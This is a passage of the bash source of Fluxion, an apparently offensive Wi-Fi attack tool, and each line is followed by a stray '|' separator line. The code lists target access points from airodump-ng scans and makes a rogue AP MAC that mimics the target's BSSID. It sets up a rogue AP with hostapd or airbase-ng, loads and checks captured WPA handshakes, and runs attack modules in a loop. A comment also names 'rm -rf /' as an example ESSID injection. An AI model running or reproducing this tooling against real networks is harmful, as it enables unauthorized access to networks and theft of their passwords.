TargetAPCandidatesPower[i]=$(echo "$candidateAPInfo" | cut -d , -f 9)
|
|
TargetAPCandidatesColor[i]=$([ ${TargetAPCandidatesClientsCount[i]} -gt 0 ] && echo $CGrn || echo $CClr)
|
|
|
|
# Parse any non-ascii characters by letting bash handle them.
|
|
# Just escape all single quotes in ESSID and let bash's $'...' handle it.
|
|
local sanitizedESSID=$(echo "${candidateAPInfo//\'/\\\'}" | cut -d , -f 14)
|
|
TargetAPCandidatesESSID[i]=$(eval "echo \$'$sanitizedESSID'")
|
|
|
|
local power=${TargetAPCandidatesPower[i]}
|
|
if [ $power -eq -1 ]; then
|
|
# airodump-ng's man page says -1 means unsupported value.
|
|
TargetAPCandidatesQuality[i]="??";
|
|
elif [ $power -le $FLUXIONNoiseFloor ]; then
|
|
TargetAPCandidatesQuality[i]=0;
|
|
elif [ $power -gt $FLUXIONNoiseCeiling ]; then
|
|
TargetAPCandidatesQuality[i]=100;
|
|
else
|
|
# Bash doesn't support floating point division, so I gotta work around it...
|
|
# The function is Q = ((P - F) / (C - F)); Q - quality, P - power, F - floor, C - Ceiling.
|
|
TargetAPCandidatesQuality[i]=$((( ${TargetAPCandidatesPower[i]} * 10 - $FLUXIONNoiseFloor * 10 ) / ( ( $FLUXIONNoiseCeiling - $FLUXIONNoiseFloor ) / 10 ) ))
|
|
fi
|
|
done
|
|
|
|
local headerTitle=$(format_center_literals "WIFI LIST"; echo -n "$FormatCenterLiterals\n\n")
|
|
|
|
format_apply_autosize "$CRed[$CSYel ** $CClr$CRed]$CClr %-*.*s %4s %3s %3s %2s %-8.8s %18s\n"
|
|
local headerFields=$(printf "$FormatApplyAutosize" "ESSID" "QLTY" "PWR" "STA" "CH" "SECURITY" "BSSID")
|
|
|
|
format_apply_autosize "$CRed[$CSYel%03d$CClr$CRed]%b %-*.*s %3s%% %3s %3d %2s %-8.8s %18s\n"
|
|
io_query_format_fields "$headerTitle$headerFields" "$FormatApplyAutosize" \
|
|
TargetAPCandidatesColor[@] \
|
|
TargetAPCandidatesESSID[@] \
|
|
TargetAPCandidatesQuality[@] \
|
|
TargetAPCandidatesPower[@] \
|
|
TargetAPCandidatesClientsCount[@] \
|
|
TargetAPCandidatesChannel[@] \
|
|
TargetAPCandidatesSecurity[@] \
|
|
TargetAPCandidatesMAC[@]
|
|
|
|
echo
|
|
|
|
APTargetSSID=${IOQueryFormatFields[1]}
|
|
APTargetChannel=${IOQueryFormatFields[5]}
|
|
APTargetEncryption=${IOQueryFormatFields[6]}
|
|
APTargetMAC=${IOQueryFormatFields[7]}
|
|
APTargetMakerID=${APTargetMAC:0:8}
|
|
APTargetMaker=$(macchanger -l | grep ${APTargetMakerID,,} | cut -d ' ' -f 5-)
|
|
|
|
# Sanitize network ESSID to normalize it and make it safe for manipulation.
|
|
# Notice: Why remove these? Because some smartass might decide to name their
|
|
# network something like "; rm -rf / ;". If the string isn't sanitized accidentally
|
|
# shit'll hit the fan and we'll have an extremely distressed person subit an issue.
|
|
# Removing: ' ', '/', '.', '~', '\'
|
|
APTargetSSIDClean=$(echo "$APTargetSSID" | sed -r 's/( |\/|\.|\~|\\)+/_/g')
|
|
|
|
# We'll change a single hex digit from the target AP's MAC address.
|
|
# This new MAC address will be used as the rogue AP's MAC address.
|
|
local APRogueMACChange=$(printf %02X $((0x${APTargetMAC:13:1} + 1)))
|
|
APRogueMAC="${APTargetMAC::13}${APRogueMACChange:1:1}${APTargetMAC:14:4}"
|
|
}
|
|
|
|
function fluxion_show_ap_info() {
|
|
format_apply_autosize "%*s$CBlu%7s$CClr: %-32s%*s\n"
|
|
|
|
local colorlessFormat="$FormatApplyAutosize"
|
|
local colorfullFormat=$(echo "$colorlessFormat" | sed -r 's/%-32s/%-32b/g')
|
|
|
|
printf "$colorlessFormat" "" "ESSID" "\"$APTargetSSID\" / $APTargetEncryption" ""
|
|
printf "$colorlessFormat" "" "Channel" "$APTargetChannel" ""
|
|
printf "$colorfullFormat" "" "BSSID" "$APTargetMAC ($CYel${APTargetMaker:-UNKNOWN}$CClr)" ""
|
|
|
|
echo
|
|
}
|
|
|
|
|
|
#################################### < AP Service > ####################################
|
|
function fluxion_unset_ap_service() {
|
|
APRogueService="";
|
|
}
|
|
|
|
function fluxion_set_ap_service() {
|
|
if [ "$APRogueService" ]; then return 0; fi
|
|
|
|
fluxion_unset_ap_service
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
APRogueService="hostapd";
|
|
else
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery"
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption")
|
|
io_query_choice "" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$FLUXIONAPServiceHostapdOption" ) APRogueService="hostapd";;
|
|
"$FLUXIONAPServiceAirbaseOption" ) APRogueService="airbase-ng";;
|
|
"$FLUXIONGeneralBackOption" ) fluxion_unset_ap_service; return 1;;
|
|
* ) fluxion_conditional_bail; return 1;;
|
|
esac
|
|
fi
|
|
|
|
# AP Service: Load the service's helper routines.
|
|
source "lib/ap/$APRogueService.sh"
|
|
}
|
|
|
|
###################################### < Hashes > ######################################
|
|
function fluxion_check_hash() {
|
|
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
|
|
echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
|
|
sleep 3
|
|
return 1;
|
|
fi
|
|
|
|
local verifier
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
verifier="pyrit"
|
|
else
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
|
|
io_query_choice "" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";;
|
|
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";;
|
|
"$FLUXIONGeneralBackOption") return 1;;
|
|
esac
|
|
fi
|
|
|
|
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
|
|
local hashResult=$?
|
|
|
|
# A value other than 0 means there's an issue with the hash.
|
|
if [ $hashResult -ne 0 ]
|
|
then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError"
|
|
else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"
|
|
fi
|
|
|
|
sleep 3
|
|
|
|
if [ $hashResult -ne 0 ]; then return 1; fi
|
|
}
|
|
|
|
function fluxion_set_hash_path() {
|
|
fluxion_header
|
|
echo
|
|
echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery"
|
|
echo
|
|
echo -ne "$FLUXIONAbsolutePathInfo: "
|
|
read APTargetHashPath
|
|
}
|
|
|
|
function fluxion_unset_hash() {
|
|
APTargetHashPath=""
|
|
}
|
|
|
|
function fluxion_set_hash() {
|
|
if [ "$APTargetHashPath" ]; then return 0; fi
|
|
|
|
fluxion_unset_hash
|
|
|
|
# Scan for an existing hash for potential use, if one exists,
|
|
# ask the user if we should use it, or to skip it.
|
|
if [ -f "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" -a \
|
|
-s "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap" ]; then
|
|
|
|
if [ ! "$FLUXIONAuto" ];then
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
printf "Path: %s\n" "$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
|
|
echo -ne "$FLUXIONVLine ${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] "
|
|
|
|
read APTargetHashPathConsidered
|
|
|
|
echo
|
|
fi
|
|
|
|
if [ "$APTargetHashPathConsidered" = "" -o "$APTargetHashPathConsidered" = "y" -o "$APTargetHashPathConsidered" = "Y" ]; then
|
|
APTargetHashPath="$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
|
|
fluxion_check_hash
|
|
# If the user decides to go back, we must unset.
|
|
if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi
|
|
fi
|
|
fi
|
|
|
|
# If the hash was not found, or if it was skipped,
|
|
# ask for location or for gathering one.
|
|
while [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; do
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONHashSourceQuery"
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
local choices=("$FLUXIONHashSourcePathOption" "$FLUXIONHashSourceRescanOption" "$FLUXIONGeneralBackOption")
|
|
io_query_choice "" choices[@]
|
|
|
|
echo
|
|
|
|
case "$IOQueryChoice" in
|
|
"$FLUXIONHashSourcePathOption") fluxion_set_hash_path; fluxion_check_hash;;
|
|
"$FLUXIONHashSourceRescanOption") fluxion_set_hash;; # Rescan checks hash automatically.
|
|
"$FLUXIONGeneralBackOption" ) fluxion_unset_hash; return 1;;
|
|
esac
|
|
|
|
# This conditional is required for return values
|
|
# of operation performed in the case statement.
|
|
if [ $? -ne 0 ]; then fluxion_unset_hash; return 1; fi
|
|
done
|
|
|
|
# Copy to workspace for hash-required operations.
|
|
cp "$APTargetHashPath" "$FLUXIONWorkspacePath/$APTargetSSIDClean-$APTargetMAC.cap"
|
|
}
|
|
|
|
###################################### < Attack > ######################################
|
|
function fluxion_unset_attack() {
|
|
if [ "$FLUXIONAttack" ]
|
|
then unprep_attack
|
|
fi
|
|
FLUXIONAttack=""
|
|
}
|
|
|
|
# Select the attack strategy to be used.
|
|
function fluxion_set_attack() {
|
|
if [ "$FLUXIONAttack" ]; then return 0; fi
|
|
|
|
fluxion_unset_attack
|
|
|
|
fluxion_header
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONAttackQuery"
|
|
echo
|
|
|
|
fluxion_show_ap_info "$APTargetSSID" "$APTargetEncryption" "$APTargetChannel" "$APTargetMAC" "$APTargetMaker"
|
|
|
|
#local attacksMeta=$(head -n 3 attacks/*/language/$FLUXIONLanguage.sh)
|
|
|
|
#local attacksIdentifier
|
|
#readarray -t attacksIdentifier < <("`echo "$attacksMeta" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`")
|
|
|
|
#local attacksDescription
|
|
#readarray -t attacksDescription < <("`echo "$attacksMeta" | grep -E "^# description: " | sed -E 's/# \w+: //'`")
|
|
|
|
local attacks
|
|
readarray -t attacks < <(ls -1 attacks)
|
|
|
|
local descriptions
|
|
readarray -t descriptions < <(head -n 3 attacks/*/language/$FLUXIONLanguage.sh | grep -E "^# description: " | sed -E 's/# \w+: //')
|
|
|
|
local identifiers=()
|
|
|
|
local attack
|
|
for attack in "${attacks[@]}"; do
|
|
local identifier="`head -n 3 "attacks/$attack/language/$FLUXIONLanguage.sh" | grep -E "^# identifier: " | sed -E 's/# \w+: //'`"
|
|
if [ "$identifier" ]
|
|
then identifiers+=("$identifier")
|
|
else identifiers+=("$attack")
|
|
fi
|
|
done
|
|
|
|
attacks+=("$FLUXIONGeneralBackOption")
|
|
identifiers+=("$FLUXIONGeneralBackOption")
|
|
descriptions+=("")
|
|
|
|
io_query_format_fields "" "\t$CRed[$CSYel%d$CClr$CRed]$CClr%0.0s $CCyn%b$CClr %b\n" attacks[@] identifiers[@] descriptions[@]
|
|
|
|
echo
|
|
|
|
if [ "${IOQueryFormatFields[1]}" = "$FLUXIONGeneralBackOption" ]; then
|
|
fluxion_unset_target_ap
|
|
fluxion_unset_attack
|
|
return 1
|
|
fi
|
|
|
|
FLUXIONAttack=${IOQueryFormatFields[0]}
|
|
|
|
# Load attack and its corresponding language file.
|
|
source "attacks/$FLUXIONAttack/language/$FLUXIONLanguage.sh"
|
|
source "attacks/$FLUXIONAttack/attack.sh"
|
|
|
|
prep_attack
|
|
|
|
if [ $? -ne 0 ]; then
|
|
fluxion_unset_attack
|
|
return 1
|
|
fi
|
|
}
|
|
|
|
# Attack
|
|
function fluxion_run_attack() {
|
|
start_attack
|
|
|
|
local choices=("$FLUXIONSelectAnotherAttackOption" "$FLUXIONGeneralExitOption")
|
|
io_query_choice "`io_dynamic_output $FLUXIONAttackInProgressNotice`" choices[@]
|
|
|
|
echo
|
|
|
|
# IOQueryChoice is a global, meaning, its value is volatile.
|
|
# We need to make sure to save the choice before it changes.
|
|
local choice="$IOQueryChoice"
|
|
|
|
stop_attack
|
|
|
|
if [ "$choice" = "$FLUXIONGeneralExitOption" ]; then fluxion_handle_exit; fi
|
|
|
|
fluxion_unset_attack
|
|
}
|
|
|
|
################################### < FLUXION Loop > ###################################
|
|
fluxion_set_resolution
|
|
fluxion_set_language
|
|
|
|
while true; do
|
|
fluxion_set_interface; if [ $? -ne 0 ]; then continue; fi
|
|
fluxion_set_scanner; if [ $? -ne 0 ]; then continue; fi
|
|
fluxion_set_target_ap; if [ $? -ne 0 ]; then continue; fi
|
|
fluxion_set_attack; if [ $? -ne 0 ]; then continue; fi
|
|
fluxion_run_attack; if [ $? -ne 0 ]; then continue; fi
|
|
done
|
|
|
|
# FLUXSCRIPT END
|